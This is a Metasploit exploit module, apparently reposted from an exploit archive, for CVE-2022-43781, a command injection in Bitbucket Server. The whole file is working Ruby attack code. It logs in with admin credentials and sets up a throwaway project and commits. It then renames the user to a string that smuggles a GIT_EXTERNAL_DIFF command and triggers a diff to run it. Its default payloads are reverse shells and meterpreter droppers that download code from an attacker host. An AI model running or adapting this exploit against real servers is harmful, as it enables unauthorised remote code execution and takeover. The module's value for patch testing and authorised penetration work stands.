Share
## https://sploitus.com/exploit?id=PACKETSTORM:171369
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Git  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Bitbucket Environment Variable RCE',  
'Description' => %q{  
For various versions of Bitbucket, there is an authenticated command injection  
vulnerability that can be exploited by injecting environment  
variables into a user name. This module achieves remote code execution  
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment  
variable, a null character as a delimiter, and arbitrary code into a user's  
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable  
will be run once the Bitbucket application is coerced into generating a diff.  
  
This module requires at least admin credentials, as admins and above  
only have the option to change their user name.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ry0taK', # Vulnerability Discovery  
'y4er', # PoC and blog post  
'Shelby Pace' # Metasploit Module  
],  
'References' => [  
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],  
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],  
[ 'CVE', '2022-43781']  
],  
'Platform' => [ 'win', 'unix', 'linux' ],  
'Privileged' => true,  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
'Targets' => [  
[  
'Linux Command',  
{  
'Platform' => 'unix',  
'Type' => :unix_cmd,  
'Arch' => [ ARCH_CMD ],  
'Payload' => { 'Space' => 254 },  
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'MaxLineChars' => 254,  
'Type' => :linux_dropper,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => %i[wget curl],  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'MaxLineChars' => 254,  
'Type' => :win_dropper,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => [ :psh_invokewebrequest ],  
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2022-11-16',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(7990),  
OptString.new('USERNAME', [ true, 'User name to log in with' ]),  
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),  
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
)  
  
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res  
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')  
  
nokogiri_data = res.get_html_document  
footer = nokogiri_data&.at('footer')  
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer  
  
version_info = footer.at('span')&.children&.text  
return CheckCode::Detected('Failed to find version information in footer section') unless version_info  
  
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)  
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1  
  
version_str = vers_matches[1]  
  
vprint_status("Found version #{version_str} of Bitbucket")  
major, minor, revision = version_str.split('.')  
rev_num = revision.to_i  
  
case major  
when '7'  
case minor  
when '0', '1', '2', '3', '4', '5'  
return CheckCode::Appears  
when '6'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18  
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'  
return CheckCode::Appears  
when '17'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11  
when '18', '19', '20'  
return CheckCode::Appears  
when '21'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5  
end  
when '8'  
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')  
case minor  
when '0'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4  
when '1'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4  
when '2'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3  
when '3'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2  
when '4'  
return CheckCode::Appears if rev_num == 0 || rev_num == 1  
end  
end  
  
CheckCode::Detected  
end  
  
def default_branch  
@default_branch ||= Rex::Text.rand_text_alpha(5..9)  
end  
  
def uname_payload(cmd)  
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"  
end  
  
def log_in(username, password)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),  
'keep_cookies' => true,  
'vars_post' => {  
'j_username' => username,  
'j_password' => password,  
'_atl_remember_me' => 'on',  
'submit' => 'Log in'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'projects'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res  
unless res.body.include?('Logged in')  
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')  
end  
end  
  
def create_project  
proj_uri = normalize_uri(target_uri.path, 'projects?create')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => proj_uri,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')  
  
vprint_status('Retrieving security token')  
html_doc = res.get_html_document  
token_data = html_doc.at('div//input[@name="atl_token"]')  
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data  
  
@token = token_data['value']  
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?  
  
project_name = Rex::Text.rand_text_alpha(5..9)  
project_key = Rex::Text.rand_text_alpha(5..9).upcase  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => proj_uri,  
'keep_cookies' => true,  
'vars_post' => {  
'name' => project_name,  
'key' => project_key,  
'submit' => 'Create project',  
'atl_token' => @token  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)  
  
print_status('Project creation was successful')  
[ project_name, project_key ]  
end  
  
def create_repository  
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => repo_uri,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res  
  
html_doc = res.get_html_document  
  
dropdown_data = html_doc.at('li[@class="user-dropdown"]')  
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?  
email = dropdown_data&.at('span')&.[]('data-emailaddress')  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?  
  
repo_name = Rex::Text.rand_text_alpha(5..9)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => repo_uri,  
'keep_cookies' => true,  
'vars_post' => {  
'name' => repo_name,  
'defaultBranchId' => default_branch,  
'description' => '',  
'scmId' => 'git',  
'forkable' => 'false',  
'atl_token' => @token,  
'submit' => 'Create repository'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res  
res = send_request_cgi(  
'method' => 'GET',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')  
)  
  
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404  
print_good("Successfully created repository '#{repo_name}'")  
  
[ email, repo_name ]  
end  
  
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)  
txt_data = Rex::Text.rand_text_alpha(5..20)  
blob_object = GitObject.build_blob_object(txt_data)  
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"  
  
file_data = {  
mode: '100755',  
file_name: file_name,  
sha1: blob_object.sha1  
}  
  
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])  
tree_obj = GitObject.build_tree_object(tree_data)  
commit_obj = GitObject.build_commit_object({  
tree_sha1: tree_obj.sha1,  
email: email,  
message: Rex::Text.rand_text_alpha(4..30),  
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)  
})  
  
{  
objects: [ commit_obj, tree_obj, blob_object ],  
file_data: file_data  
}  
end  
  
# create two files in two separate commits in order  
# to view a diff and get code execution  
def create_commits(email)  
init_objects = generate_repo_objects(email)  
commit_obj = init_objects[:objects].first  
  
refs = {  
'HEAD' => "refs/heads/#{default_branch}",  
"refs/heads/#{default_branch}" => commit_obj.sha1  
}  
  
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)  
repo_objects = final_objects[:objects] + init_objects[:objects]  
new_commit = final_objects[:objects].first  
new_file = final_objects[:file_data][:file_name]  
  
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")  
res = send_receive_pack_request(  
git_uri,  
refs['HEAD'],  
repo_objects,  
'0' * 40 # no commits should exist yet, so no branch tip in repo yet  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res  
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')  
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')  
  
[ new_commit.sha1, commit_obj.sha1, new_file ]  
end  
  
def get_user_id(curr_uname)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),  
'vars_get' => { 'name' => curr_uname }  
)  
  
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)  
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1  
  
matched_id[1]  
end  
  
def change_username(curr_uname, new_uname)  
@user_id ||= get_user_id(curr_uname)  
  
headers = {  
'X-Requested-With' => 'XMLHttpRequest',  
'X-AUSERID' => @user_id,  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"  
}  
  
vars = {  
'name' => curr_uname,  
'newName' => new_uname  
}.to_json  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'headers' => headers,  
'data' => vars  
)  
  
unless res  
print_bad('Did not receive a response to the user name change request')  
return false  
end  
  
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')  
print_bad('User name change was unsuccessful')  
return false  
end  
  
true  
end  
  
def commit_uri(project_key, repo_name, commit_sha)  
normalize_uri(  
target_uri.path,  
'rest/api/latest/projects',  
project_key,  
'repos',  
repo_name,  
'commits',  
commit_sha  
)  
end  
  
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)  
commit_diff_uri = normalize_uri(  
commit_uri(@project_key, @repo_name, latest_commit_sha),  
'diff',  
diff_file  
)  
  
send_request_cgi(  
'method' => 'GET',  
'uri' => commit_diff_uri,  
'keep_cookies' => true,  
'vars_get' => { 'since' => first_commit_sha }  
)  
end  
  
def delete_repository(username)  
vprint_status("Attempting to delete repository '#{@repo_name}'")  
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => repo_uri,  
'keep_cookies' => true,  
'headers' => {  
'X-AUSERNAME' => username,  
'X-AUSERID' => @user_id,  
'X-Requested-With' => 'XMLHttpRequest',  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",  
'ctype' => 'application/json',  
'Accept' => 'application/json, text/javascript'  
}  
)  
  
unless res&.body&.include?('scheduled for deletion')  
print_warning('Failed to delete repository')  
return  
end  
  
print_good('Repository has been deleted')  
end  
  
def delete_project(username)  
vprint_status("Now attempting to delete project '#{@project_name}'")  
send_request_cgi( # fails to return a response  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),  
'keep_cookies' => true,  
'headers' => {  
'X-AUSERNAME' => username,  
'X-AUSERID' => @user_id,  
'X-Requested-With' => 'XMLHttpRequest',  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",  
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",  
'ctype' => 'application/json',  
'Accept' => 'application/json, text/javascript, */*; q=0.01',  
'Accept-Encoding' => 'gzip, deflate'  
}  
)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),  
'keep_cookies' => true  
)  
  
unless res&.code == 404  
print_warning('Failed to delete project')  
return  
end  
  
print_good('Project has been deleted')  
end  
  
def get_repo  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),  
'keep_cookies' => true  
)  
  
unless res  
print_status('Couldn\'t access repos page. Will create repo')  
return []  
end  
  
json_data = JSON.parse(res.body)  
unless json_data && json_data['size'] >= 1  
print_status('No accessible repositories. Will attempt to create a repo')  
return []  
end  
  
repo_data = json_data['values'].first  
repo_name = repo_data['slug']  
project_key = repo_data['project']['key']  
  
unless repo_name && project_key  
print_status('Could not find repo name and key. Creating repo')  
return []  
end  
  
[ repo_name, project_key ]  
end  
  
def get_repo_info  
unless @project_name && @project_key  
print_status('Failed to find valid project information. Will attempt to create repo')  
return nil  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),  
'keep_cookies' => true  
)  
  
unless res  
print_status("Failed to access existing repository #{@project_name}")  
return nil  
end  
  
html_doc = res.get_html_document  
commit_data = html_doc.search('a[@class="commitid"]')  
unless commit_data && commit_data.length > 1  
print_status('No commits found for existing repo')  
return nil  
end  
  
latest_commit = commit_data[0]['data-commitid']  
prev_commit = commit_data[1]['data-commitid']  
  
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => file_uri,  
'keep_cookies' => true  
)  
  
return nil unless res  
  
json = JSON.parse(res.body)  
return nil unless json['values']  
  
path = json['values']&.first&.dig('path')  
return nil unless path  
  
[ latest_commit, prev_commit, path['name'] ]  
end  
  
def exploit  
@use_public_repo = true  
datastore['GIT_USERNAME'] = datastore['USERNAME']  
datastore['GIT_PASSWORD'] = datastore['PASSWORD']  
  
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?  
fail_with(Failure::BadConfig, 'No credentials to log in with.')  
end  
  
log_in(datastore['USERNAME'], datastore['PASSWORD'])  
@curr_uname = datastore['USERNAME']  
  
@project_name, @project_key = get_repo  
@repo_name = @project_name  
@latest_commit, @first_commit, @diff_file = get_repo_info  
unless @latest_commit && @first_commit && @diff_file  
@use_public_repo = false  
@project_name, @project_key = create_project  
email, @repo_name = create_repository  
@latest_commit, @first_commit, @diff_file = create_commits(email)  
print_good("Commits added: #{@first_commit}, #{@latest_commit}")  
end  
  
print_status('Sending payload')  
case target['Type']  
when :win_dropper  
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')  
when :linux_dropper  
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)  
when :unix_cmd  
execute_command(payload.encoded.strip)  
end  
end  
  
def cleanup  
if @curr_uname != datastore['USERNAME']  
print_status("Changing user name back to '#{datastore['USERNAME']}'")  
  
if change_username(@curr_uname, datastore['USERNAME'])  
@curr_uname = datastore['USERNAME']  
else  
print_warning('User name is still set to payload.' \  
"Please manually change the user name back to #{datastore['USERNAME']}")  
end  
end  
  
unless @use_public_repo  
delete_repository(@curr_uname) if @repo_name  
delete_project(@curr_uname) if @project_name  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Platform'] == 'win'  
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))  
else  
curr_payload = uname_payload(cmd)  
end  
  
unless change_username(@curr_uname, curr_payload)  
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')  
end  
  
view_commit_diff(@latest_commit, @first_commit, @diff_file)  
@curr_uname = curr_payload  
end  
end